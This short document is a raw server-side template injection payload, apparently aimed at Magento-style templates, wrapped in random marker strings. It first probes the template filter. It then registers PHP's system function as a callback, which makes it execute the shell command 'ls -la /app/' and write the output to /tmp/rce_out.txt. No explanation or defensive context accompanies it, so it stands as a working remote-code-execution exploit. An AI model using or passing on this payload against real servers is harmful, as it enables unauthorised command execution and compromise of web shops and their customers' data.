WNjPkFT0NlNBQk4Z0P6lLNp4T3tDSuQb{{var this.getTemplateFilter().filter(foobar)}}WNjPkFT0NlNBQk4Z0P6lLNp4T3tDSuQbWNjPkFT0NlNBQk4Z0P6lLNp4T3tDSuQb{{var this.getTemplateFilter().addAfterFilterCallback(system).filter('ls -la /app/ 2>/dev/null | head -20 > /tmp/rce_out.txt 2>&1')}}WNjPkFT0NlNBQk4Z0P6lLNp4T3tDSuQb